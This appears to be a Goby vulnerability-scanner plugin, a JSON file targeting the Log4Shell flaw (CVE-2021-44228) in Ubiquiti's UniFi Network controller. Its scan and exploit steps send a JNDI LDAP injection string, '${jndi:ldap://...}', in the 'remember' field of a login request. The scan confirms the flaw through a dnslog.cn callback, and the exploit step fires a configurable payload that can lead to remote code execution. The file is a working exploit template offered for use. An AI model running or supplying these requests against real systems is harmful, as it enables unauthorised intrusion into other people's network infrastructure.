Goby/json/UniFi_Network_Log4shell_CVE...

136 lines
4.8 KiB
JSON

{
"Name": "UniFi Network Log4shell CVE-2021-44228",
"Level": "3",
"Tags": [
"rce"
],
"GobyQuery": "( title=\"UniFi Network\")",
"Description": "UniFi Network 存在log4j漏洞。",
"Product": "UniFi Network",
"Homepage": "https://help.ui.com.cn/",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis"
],
"HasExp": true,
"ExpParams": [
{
"Name": "cmd",
"Type": "input",
"Value": "${jndi:ldap://dnslog.cn/tea}"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "http://www.dnslog.cn/getdomain.php",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"dnstest|lastbody||"
]
},
{
"Request": {
"method": "POST",
"uri": "/api/login",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "{\"username\":\"admin\",\"password\":\"lolwat\",\"remember\":\"${jndi:ldap://{{{dnstest}}}/tea}\",\"strict\":true}",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": []
},
"SetVariable": [
"output|lastbody|regex|"
]
},
{
"Request": {
"method": "GET",
"uri": "http://www.dnslog.cn/getrecords.php",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "{{{dnstest}}}",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/api/login",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "{\"username\":\"admin\",\"password\":\"lolwat\",\"remember\":\"{{{cmd}}}\",\"strict\":true}",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": []
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "2022-01-11 14:43:16",
"GobyVersion": "1.9.320"
}